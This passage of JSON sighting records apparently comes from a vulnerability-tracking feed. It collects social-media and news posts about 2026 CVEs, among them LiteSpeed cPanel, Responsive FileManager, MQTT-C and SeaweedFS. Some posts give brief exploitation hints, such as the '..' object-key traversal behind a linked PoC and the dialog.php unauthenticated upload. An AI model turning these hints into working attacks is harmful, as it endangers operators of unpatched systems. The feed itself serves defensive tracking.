"type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mobkka4mwn22", "content": "CVE-2026-54413 - DriftRegion UDS Integer Underflow Out-of-Bounds Read\nCVE ID : CVE-2026-54413\n \n Published : June 14, 2026, 6:17 p.m. | 1\u00a0hour, 24\u00a0minutes ago\n \n Description : driftregion iso14229 through 0.9.0 contains an integer underflow and downstream out-of-bounds read in...", "creation_timestamp": "2026-06-14T19:57:59.055472Z"}, {"uuid": "8784d772-7dc2-4c3a-b06d-f7805ce177d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54413", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116750236419774889", "content": "\ud83d\udea8 CVE-2026-54413 (HIGH, CVSS 7.8): Integer underflow in driftregion iso14229 \u22640.9.0 lets remote attackers crash automotive, IoT, and industrial UDS servers via crafted 0x27 requests. Validate input, monitor traffic, and restrict access. https://radar.offseq.com/threat/cve-2026-54413-cwe-191-integer-underflow-wrap-or-w-c8e3fde3 #OffSeq #vuln #UDS #infosec", "creation_timestamp": "2026-06-14T20:00:31.792868Z"}, {"uuid": "06787299-31ec-4263-94e0-83e8f366ea23", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-54413", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3mobkosmlty2i", "content": "\ud83d\udea8 driftregion iso14229 \u22640.9.0 hit by HIGH severity integer underflow (CVE-2026-54413). Remote attackers can crash UDS servers in automotive & IoT. Validate 0x27 requests, monitor traffic, restrict access until patched. https://radar.offseq.com/threat/cve-2026-54413-cwe-191-integer-underflow-wrap-...", "creation_timestamp": "2026-06-14T20:00:33.456232Z"}, {"uuid": "6b9fbb98-2d87-4be1-b880-183a720da3f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54410", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mobkt6lb7w2r", "content": "CVE-2026-54410 - nanoMODBUS TCP Server Off-by-One Buffer Overflow\nCVE ID : CVE-2026-54410\n \n Published : June 14, 2026, 6:17 p.m. | 1\u00a0hour, 24\u00a0minutes ago\n \n Description : nanoMODBUS through v1.23.0 contains an off-by-one buffer overflow in the recv_msg_header() function of th...", "creation_timestamp": "2026-06-14T20:02:59.349998Z"}, {"uuid": "8eddcad0-bd8f-46d7-976f-0cf6ccd4c9d8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54412", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3mobl44ylsv2f", "content": "CVE-2026-54412 - MQTT-C Heap Out-of-Bounds Read and Integer Underflow\nCVE ID : CVE-2026-54412\n \n Published : June 14, 2026, 6:17 p.m. | 1\u00a0hour, 24\u00a0minutes ago\n \n Description : LiamBindle MQTT-C through version 1.1.6 contains a heap-based out-of-bounds read and integer underflo...", "creation_timestamp": "2026-06-14T20:07:59.846706Z"}, {"uuid": "bb2e9dfb-4211-431c-b210-8a9428461df1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5411", "type": "seen", "source": "https://bsky.app/profile/atomicedge.bsky.social/post/3mobvmjf66z2b", "content": "CVE-2026-5411 advanced-google-recaptcha (CVSS Score 8.8) \n\n#WordPress plugin #vulnerability #cybersecurity #wordpressfirewall #hacking #wpsecurity #atomicedge #cybersecurity #malware #vulnerabilityresearch #cve #redteam #proofofconcept", "creation_timestamp": "2026-06-14T23:16:10.870712Z"}, {"uuid": "a24ac0fc-f97e-4097-a6e5-ffb7aa4a70ce", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-54055", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d517fb59-dc35-45a9-8c20-83397659735e", "content": "", "creation_timestamp": "2026-08-09T18:21:53.646962Z"}, {"uuid": "961dc509-0a23-4b03-99bf-e089214039c7", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54412", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3moby5ha7xq2w", "content": "\ud83d\udfe0 CVE-2026-54412 - High (8.2)\n\nLiamBindle MQTT-C through version 1.1.6 contains a heap-based out-of-bounds read and integer unde...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54412/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-15T00:01:24.148976Z"}, {"uuid": "776371f4-fdcc-4eff-8a75-e9e6520ef68e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54413", "type": "seen", "source": "https://bsky.app/profile/thehackerwire.bsky.social/post/3moby5oh7p32e", "content": "\ud83d\udfe0 CVE-2026-54413 - High (8.2)\n\ndriftregion iso14229 through 0.9.0 contains an integer underflow and downstream out-of-bounds rea...\n\nhttps://www.thehackerwire.com/vulnerability/CVE-2026-54413/\n\n#infosec #cybersecurity #CVE #vulnerability #security #patchstack", "creation_timestamp": "2026-06-15T00:01:31.156826Z"}, {"uuid": "38c882b7-e4a2-4fb0-b986-13f3321762d9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "c933734a-9be8-4142-889e-26e95c752803", "vulnerability": "CVE-2026-54057", "type": "seen", "source": "https://vulnerability.circl.lu/bundle/d517fb59-dc35-45a9-8c20-83397659735e", "content": "", "creation_timestamp": "2026-08-09T18:21:53.646962Z"}, {"uuid": "18b838e2-3994-4ea1-afcb-89e5891e0618", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54411", "type": "seen", "source": "https://infosec.exchange/users/vuldb/statuses/116754190976961198", "content": "Our CTI team identified a lot of activities targeting Linux-PAM (CVE-2026-54411) https://vuldb.com/vuln/370870/cti", "creation_timestamp": "2026-06-15T12:46:17.570634Z"}, {"uuid": "46c16e7e-f947-49d3-b86e-b5d0419ddd5e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "86ecb4e1-bb32-44d5-9f39-8a4673af8385", "vulnerability": "CVE-2026-5482", "type": "seen", "source": "https://cert.pl/en/posts/2026/06/CVE-2026-5482", "content": "", "creation_timestamp": "2026-06-15T04:55:00.000000Z"}, {"uuid": "60408812-8bd3-44fd-bc82-64c0063c9084", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5482", "type": "seen", "source": "https://infosec.exchange/users/offseq/statuses/116754364893455307", "content": "\ud83d\udea8 CVE-2026-5482 (CRITICAL): Tecrail Responsive FileManager \u22649.14.0 lets unauth'd attackers upload dangerous files via dialog.php, leading to RCE. Project is unmaintained \u2014 no patch. Restrict access & monitor now. https://radar.offseq.com/threat/cve-2026-5482-cwe-434-unrestricted-upload-of-file--d1d3c74e #OffSeq #RCE #Vulnerability", "creation_timestamp": "2026-06-15T13:30:27.182026Z"}, {"uuid": "a8df5eb0-e2a7-4f83-9055-523584bb19e1", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "cve-2026-5482", "type": "seen", "source": "https://bsky.app/profile/offseq.bsky.social/post/3modfe7qfbw2j", "content": "CRITICAL: Tecrail Responsive FileManager \u22649.14.0 vulnerable to unauthenticated file uploads (CVE-2026-5482), enabling RCE. No patch \u2014 disable uploads or restrict dialog.php access ASAP. https://radar.offseq.com/threat/cve-2026-5482-cwe-434-unrestricted-upload-of-file--d1d3c74e #OffSeq #CyberSecur...", "creation_timestamp": "2026-06-15T13:30:28.685812Z"}, {"uuid": "9f6bc0bd-a5b3-4722-82a7-aaa6fe1bd9da", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5482", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3modfiooghz2d", "content": "CVE-2026-5482 - Remote Code Execution via Unrestricted File Upload in Responsive FileManager\nCVE ID : CVE-2026-5482\n \n Published : June 15, 2026, 12:16 p.m. | 52\u00a0minutes ago\n \n Description : Responsive FileManager's allows an unauthenticated\u00a0attacker to upload files of any typ...", "creation_timestamp": "2026-06-15T13:32:57.910298Z"}, {"uuid": "e90f9f96-a58b-439d-82a6-6325dd30f5f9", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/litespeedtech.bsky.social/post/3modzl74prs2m", "content": "The CVE that was published today for LiteSpeed's WHM plugin prior to v2.4.8 refers to the same vulnerability we disclosed (and patched) two weeks ago. CVE-2026-54420: blog.litespeedtech.com/2026/06/01/s...", "creation_timestamp": "2026-06-15T19:32:18.703198Z"}, {"uuid": "af3f636f-5689-4551-ba0b-8235b4a1ec67", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54230", "type": "seen", "source": "https://bsky.app/profile/hugovalters.bsky.social/post/3modhaiduso2d", "content": "CVE-2026-54230 - Arbitrary file overwrite via symlink attack in libreport's ABRT event scripts. CVSS 7.0. Unpatched. Restrict access or monitor immediately. #CVE #infosec #cybersecurity\n\nhttps://www.valtersit.com/cve/CVE-2026-54230/", "creation_timestamp": "2026-06-15T14:04:10.665699Z"}, {"uuid": "b1dd8791-5fff-4207-a695-bcae173236d2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/cvesentinel.bsky.social/post/3modzkrpxeg2e", "content": "\ud83d\uded1 CVE-2026-54420\nLiteSpeed cPanel Plugin\nCVSS 8.5 / EPSS 0% / KEV: No\nTL;DR: LiteSpeed cPanel plugin before 2.4.8 (as distributed in LiteSpeed WHM PlugIn before\u2026\nhttps://cvesentinel.com/report/CVE-2026-54420?utm_source=bluesky&utm_medium=social&utm_campaign=cvesentinel\n#infosec #CVE #vulnerability", "creation_timestamp": "2026-06-15T19:32:10.662473Z"}, {"uuid": "5e1fbb6b-9e92-4bcd-a33d-83d2435ff83b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54296", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moe3iaqujf2x", "content": "CVE-2026-54296\nCVE ID : CVE-2026-54296\n \n Published : June 15, 2026, 6:31 p.m. | 1\u00a0hour, 10\u00a0minutes ago\n \n Description : None\n \n Severity: 0.0 | NA\n \n Visit the link for more details, such as CVSS details, affected products, timeline, and more...\n#CVE", "creation_timestamp": "2026-06-15T20:06:25.806899Z"}, {"uuid": "c3c9d0a9-e68a-4a96-8346-3015c2a30331", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/boredchilada.bsky.social/post/3moe3lw55qm2k", "content": "~Cisa~\nCISA added CVE-2026-20262 (Cisco SD-WAN) and CVE-2026-54420 (LiteSpeed cPanel) to its KEV catalog due to active exploitation.\n-\nIOCs: CVE-2026-20262, CVE-2026-54420\n-\n#CISA #CVE202620262 #CVE202654420 #KEV #threatintel", "creation_timestamp": "2026-06-15T20:08:29.042672Z"}, {"uuid": "bc9b0a3d-abe1-46dc-a5ae-13e4dee82e1b", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54133", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3mody67igjy2z", "content": "\ud83d\udccc CVE-2026-54133 - jmespath.php allows users to use JMESPath, software for declaratively specifying how to extract elements from a JSON document, in PHP applications wit... https://www.cyberhub.blog/cves/CVE-2026-54133", "creation_timestamp": "2026-06-15T19:07:08.411517Z"}, {"uuid": "2cccc4bd-d629-4172-abd3-5f5c6b093a25", "vulnerability_lookup_origin": "405284c2-e461-4670-8979-7fd2c9755a60", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "exploited", "source": "https://vulnerability.circl.lu/known-exploited-vulnerabilities-catalog/0dac6024-d454-4978-8cb0-be4589ad3b06", "content": "", "creation_timestamp": "2026-06-15T20:00:01.853106Z"}, {"uuid": "46412f6f-d00b-4343-bf3f-3872d68bae3c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54295", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moe3cpxdpf2b", "content": "CVE-2026-54295\nCVE ID : CVE-2026-54295\n \n Published : June 15, 2026, 6:32 p.m. | 1\u00a0hour, 9\u00a0minutes ago\n \n Description : None\n \n Severity: 0.0 | NA\n \n Visit the link for more details, such as CVSS details, affected products, timeline, and more...\n#CVE", "creation_timestamp": "2026-06-15T20:03:20.397440Z"}, {"uuid": "7cb86089-021c-4413-b8a6-b91d3785470f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54292", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moe3fg4bph2e", "content": "CVE-2026-54292\nCVE ID : CVE-2026-54292\n \n Published : June 15, 2026, 6:33 p.m. | 1\u00a0hour, 8\u00a0minutes ago\n \n Description : None\n \n Severity: 0.0 | NA\n \n Visit the link for more details, such as CVSS details, affected products, timeline, and more...\n#CVE", "creation_timestamp": "2026-06-15T20:04:50.766905Z"}, {"uuid": "3f5a26d9-f74b-4146-8add-d89dc62bf902", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54294", "type": "seen", "source": "https://bsky.app/profile/cve.skyfleet.blue/post/3moe3z77vp32w", "content": "CVE-2026-54294\nCVE ID : CVE-2026-54294\n \n Published : June 15, 2026, 6:33 p.m. | 1\u00a0hour, 8\u00a0minutes ago\n \n Description : None\n \n Severity: 0.0 | NA\n \n Visit the link for more details, such as CVSS details, affected products, timeline, and more...\n#CVE", "creation_timestamp": "2026-06-15T20:15:54.531925Z"}, {"uuid": "c262c9e3-70b1-4f84-9c8c-c2e42e7623b8", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://feedsin.space/feed/CISAKevBot/items/6747335", "content": "2026-06-15: [CVE-2026-54420] LiteSpeed cPanel Plugin UNIX Symbolic Link (Symlink) Following VulnerabilityLiteSpeed cPanel plugin contains a UNIX symbolic link (Symlink) following vulnerability that could allow a user with FTP or web shell access on a shared hosting server running CloudLinux/CageFS.\ncisakev", "creation_timestamp": "2026-06-15T20:17:00.876873Z"}, {"uuid": "d79e9d70-2f0a-46a5-a9a0-3e83ec792ea2", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54449", "type": "seen", "source": "https://bsky.app/profile/undercode.bsky.social/post/3moeag75jqz2p", "content": "CVE-2026-54449: Critical MCP STDIO Flaw in LangBot Exposes AI Pipelines to Remote Code Execution +\u00a0Video\n\nIntroduction: The Model Context Protocol (MCP) STDIO transport mechanism, widely adopted to connect large language models (LLMs) with external data sources and tools, has recently revealed a\u2026", "creation_timestamp": "2026-06-15T21:34:46.081872Z"}, {"uuid": "e73a84c8-f723-41db-bc6a-3bc31270b961", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/cyberhub.blog/post/3moeaket3nd2t", "content": "\ud83d\udccc CVE-2026-54420 - LiteSpeed cPanel plugin before 2.4.8 (as distributed in LiteSpeed WHM PlugIn before 5.3.2.0) mishandles symlinks provided by a user with FTP or web sh... https://www.cyberhub.blog/cves/CVE-2026-54420", "creation_timestamp": "2026-06-15T21:37:05.837380Z"}, {"uuid": "0fc776f6-ca7c-4354-b040-1841b4e07441", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3moedp3mtrz2y", "content": "Active exploitation verified by CISA: CVE-2026-54420 exposes LiteSpeed cPanel environments to critical symlink privilege escalation. Threat actors are actively breaching shared hosting isolation. Read the full high-authority C-Suite briefing from The Cyber Mind Co. to harden your perimeter right\u2026", "creation_timestamp": "2026-06-15T22:33:26.163368Z"}, {"uuid": "3a4547b9-1eb8-495c-9dcd-ebbcaed7ff6c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/kitafox.bsky.social/post/3moejkci7lu2s", "content": "CISA\u304c\u65e2\u77e5\u306e\u60aa\u7528\u3055\u308c\u305f\u8106\u5f31\u60272\u4ef6\u3092\u30ab\u30bf\u30ed\u30b0\u306b\u8ffd\u52a0 \n\nCVE-2026-20262 Cisco Catalyst SD-WAN Manager\u306e\u30c7\u30a3\u30ec\u30af\u30c8\u30ea\u307e\u305f\u306f\u30d1\u30b9\u306e\u30c8\u30e9\u30d0\u30fc\u30b5\u30eb\u8106\u5f31\u6027\nCVE-2026-54420 LiteSpeed cPanel\u30d7\u30e9\u30b0\u30a4\u30f3\u306eUNIX\u30b7\u30f3\u30dc\u30ea\u30c3\u30af\u30ea\u30f3\u30af\uff08Symlink\uff09\u306e\u8106\u5f31\u6027 \n\nwww.cisa.gov/news-events/...", "creation_timestamp": "2026-06-16T00:18:07.102734Z"}, {"uuid": "d51e9640-81b6-4ea9-9fe3-31f5f0fd6a13", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/thecybermind.co/post/3moektpzpbt2z", "content": "Stop symlink privilege escalation in its tracks. The Cyber Mind Co. has deployed the T-Suite Defense Playbook for CVE-2026-54420, featuring kernel overrides and FIM rules to protect LiteSpeed cPanel environments. Lock down your shared hosting infrastructure now: https://thecybermind.co/q7ni", "creation_timestamp": "2026-06-16T00:41:17.667182Z"}, {"uuid": "d9ecc51e-b11b-4cb6-803c-fd51e957a962", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/infosecbriefly.bsky.social/post/3mof6zby5ej2d", "content": "CISA added CVE-2026-54420 in LiteSpeed cPanel Plugin to KEV, requiring FCEB agencies to patch by June 18, 2026.\n", "creation_timestamp": "2026-06-16T06:42:18.895358Z"}, {"uuid": "84af9a30-3bdd-4eda-beb5-6c333808870e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://thehackernews.com/2026/06/cisa-flags-litespeed-cpanel-plugin-flaw.html", "content": "The U.S. Cybersecurity and Infrastructure Security Agency (CISA) has added a security flaw impacting LiteSpeed cPanel Plugin to its Known Exploited Vulnerabilities (KEV) catalog, requiring Federal Civilian Executive Branch (FCEB) agencies to apply the fixes by June 18, 2026.\n\nThe vulnerability in question is CVE-2026-54420 (CVSS score: 8.5), which has been described as a case of privilege", "creation_timestamp": "2026-06-16T03:41:52.000000Z"}, {"uuid": "d549912e-f9a3-441c-8165-44c70874e3e3", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54420", "type": "seen", "source": "https://bsky.app/profile/securitycyberuk.bsky.social/post/3mofdgidggn2d", "content": "\ud83d\udea8 [CRITICAL INFRASTRUCTURE ALERT]: CVE-2026-54420\n\n\u2022 CVE ID: CVE-2026-54420\n\u2022 CVSS Score: 8.5 (High)\n\u2022 Affected: LiteSpeed WHM Plug\n\nhttps://securitycyber.uk", "creation_timestamp": "2026-06-16T08:01:16.008600Z"}, {"uuid": "5724d849-47a4-421b-b4a8-d21c7383524c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-5416", "type": "seen", "source": "https://bsky.app/profile/certvde.infosec.exchange.ap.brid.gy/post/3mofeee5snmy2", "content": "#OT #Advisory VDE-2026-038\nTURCK: Multiple Vulnerabilities in Managed Ethernet Switches\n\nMultiple vulnerabilities have been identified in the TBEN-Lx-SE-M2 firmware prior to version 2.1.2.0 in Managed Ethernet Switches.\n#CVE CVE-2025-68615, CVE-2026-5416 [\u2026]", "creation_timestamp": "2026-06-16T08:18:30.843737Z"}, {"uuid": "7e1eb2bb-85b8-41c0-adbc-0cbcbec042dd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54917", "type": "published-proof-of-concept", "source": "https://t.me/GithubRedTeam/96685", "content": "\ud83d\udea8 GitHub \u76d1\u63a7\u6d88\u606f\u63d0\u9192\n\n\ud83d\udea8 \u53d1\u73b0\u5173\u952e\u8bcd\uff1a #CVE-2026 #POC #Exploit\n\n\ud83d\udce6 \u9879\u76ee\u540d\u79f0\uff1a CVE-2026-54917-SeaweedFS-Cross-Bucket-Traversal\n\ud83d\udc64 \u9879\u76ee\u4f5c\u8005\uff1a BiiTts\n\ud83d\udee0 \u5f00\u53d1\u8bed\u8a00\uff1a Python\n\u2b50 Star\u6570\u91cf\uff1a 0  |  \ud83c\udf74 Fork\u6570\u91cf\uff1a 0\n\ud83d\udcc5 \u66f4\u65b0\u65f6\u95f4\uff1a 2026-08-05 01:47:03\n\n\ud83d\udcdd \u9879\u76ee\u63cf\u8ff0\uff1a\nPoC + analysis for CVE-2026-54917 \u2014 SeaweedFS S3 gateway cross-bucket path traversal (CVSS 10.0, <4.30). Read/write any bucket via .. in the object key.\n\n\ud83d\udd17 \u70b9\u51fb\u8bbf\u95ee\u9879\u76ee\u5730\u5740", "creation_timestamp": "2026-08-06T00:00:57.317919Z"}, {"uuid": "5a941e88-e32d-4f19-9fbd-1484ec34bc8d", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2026-54088", "type": "published-proof-of-concept", "source": "https://t.me/cyberok_news/232", "content": "\u26d4\ufe0f \u0423\u0434\u0430\u043b\u0451\u043d\u043d\u043e\u0435 \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435 \u043a\u043e\u0434\u0430 \u0432 File Browser\n\n\u041e\u0431\u043d\u0430\u0440\u0443\u0436\u0435\u043d\u0430 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2026-54088 \u0432 File Browser \u2014 \u043f\u043e\u043f\u0443\u043b\u044f\u0440\u043d\u043e\u043c \u0440\u0435\u0448\u0435\u043d\u0438\u0438 \u0434\u043b\u044f \u0443\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0444\u0430\u0439\u043b\u0430\u043c\u0438 \u0447\u0435\u0440\u0435\u0437 \u0432\u0435\u0431-\u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441. \u0411\u044e\u043b\u043b\u0435\u0442\u0435\u043d\u044c \u0431\u044b\u043b \u043e\u043f\u0443\u0431\u043b\u0438\u043a\u043e\u0432\u0430\u043d\u0430 \u0432 NVD 25.06.2026. \n\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u043d\u0435\u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u0446\u0438\u0440\u043e\u0432\u0430\u043d\u043d\u043e\u043c\u0443 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0432\u044b\u043f\u043e\u043b\u043d\u044f\u0442\u044c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u044b\u0435 \u043a\u043e\u043c\u0430\u043d\u0434\u044b \u041e\u0421 \u043d\u0430 \u0441\u0435\u0440\u0432\u0435\u0440\u0435 \u043f\u0440\u0438 \u043e\u043f\u0440\u0435\u0434\u0435\u043b\u0451\u043d\u043d\u043e\u0439 \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u0438 \u043c\u0435\u0445\u0430\u043d\u0438\u0437\u043c\u0430 \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0438 \u043f\u043e\u0434\u043b\u0438\u043d\u043d\u043e\u0441\u0442\u0438 \u043e\u0431\u0440\u0430\u0431\u043e\u0442\u0447\u0438\u043a\u043e\u0432 (Hook Authentication).\n\n\ud83d\udcca \u041c\u0430\u0441\u0448\u0442\u0430\u0431\n\u0421\u041a\u0418\u041f\u0410 \u0444\u0438\u043a\u0441\u0438\u0440\u0443\u0435\u0442 ~5900 \u0443\u043d\u0438\u043a\u0430\u043b\u044c\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432 \u0441 File Browser, \u0434\u043e\u0441\u0442\u0443\u043f\u043d\u044b\u0445 \u0438\u0437\u0432\u043d\u0435 \u0432 \u0420\u0443\u043d\u0435\u0442\u0435. \u0418\u0437 \u043d\u0438\u0445 ~94.9% \u0440\u0430\u0431\u043e\u0442\u0430\u044e\u0442 \u043d\u0430 \u043f\u043e\u0442\u0435\u043d\u0446\u0438\u0430\u043b\u044c\u043d\u043e \u0443\u044f\u0437\u0432\u0438\u043c\u044b\u0445 \u0432\u0435\u0440\u0441\u0438\u044f\u0445. \u041e\u0434\u043d\u0430\u043a\u043e \u0434\u043b\u044f \u0443\u0441\u043f\u0435\u0448\u043d\u043e\u0439 \u0430\u0442\u0430\u043a\u0438 \u0442\u0440\u0435\u0431\u0443\u0435\u0442\u0441\u044f \u0441\u043f\u0435\u0446\u0438\u0444\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u043a\u043e\u043d\u0444\u0438\u0433\u0443\u0440\u0430\u0446\u0438\u044f, \u0447\u0442\u043e \u043c\u043e\u0436\u0435\u0442 \u0432\u043b\u0438\u044f\u0442\u044c \u043d\u0430 \u0438\u0442\u043e\u0433\u043e\u0432\u043e\u0435 \u043a\u043e\u043b\u0438\u0447\u0435\u0441\u0442\u0432\u043e \u043f\u043e\u0434\u0432\u0435\u0440\u0436\u0435\u043d\u043d\u044b\u0445 \u0445\u043e\u0441\u0442\u043e\u0432. \u041f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0438 \u0421\u041a\u0418\u041f\u0410 PentOps \u0441\u0432\u043e\u0435\u0432\u0440\u0435\u043c\u0435\u043d\u043d\u043e \u0443\u0432\u0435\u0434\u043e\u043c\u043b\u0435\u043d\u044b.\n\n\ud83e\udde0 \u041c\u0435\u0445\u0430\u043d\u0438\u0437\u043c \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0430\u0446\u0438\u0438\nFile Browser \u043f\u043e\u0434\u0434\u0435\u0440\u0436\u0438\u0432\u0430\u0435\u0442 \u0444\u0443\u043d\u043a\u0446\u0438\u044e Hook Authentication, \u043a\u043e\u0442\u043e\u0440\u0430\u044f \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0434\u0435\u043b\u0435\u0433\u0438\u0440\u043e\u0432\u0430\u0442\u044c \u043f\u0440\u043e\u0432\u0435\u0440\u043a\u0443 \u043b\u043e\u0433\u0438\u043d\u0430 \u0438 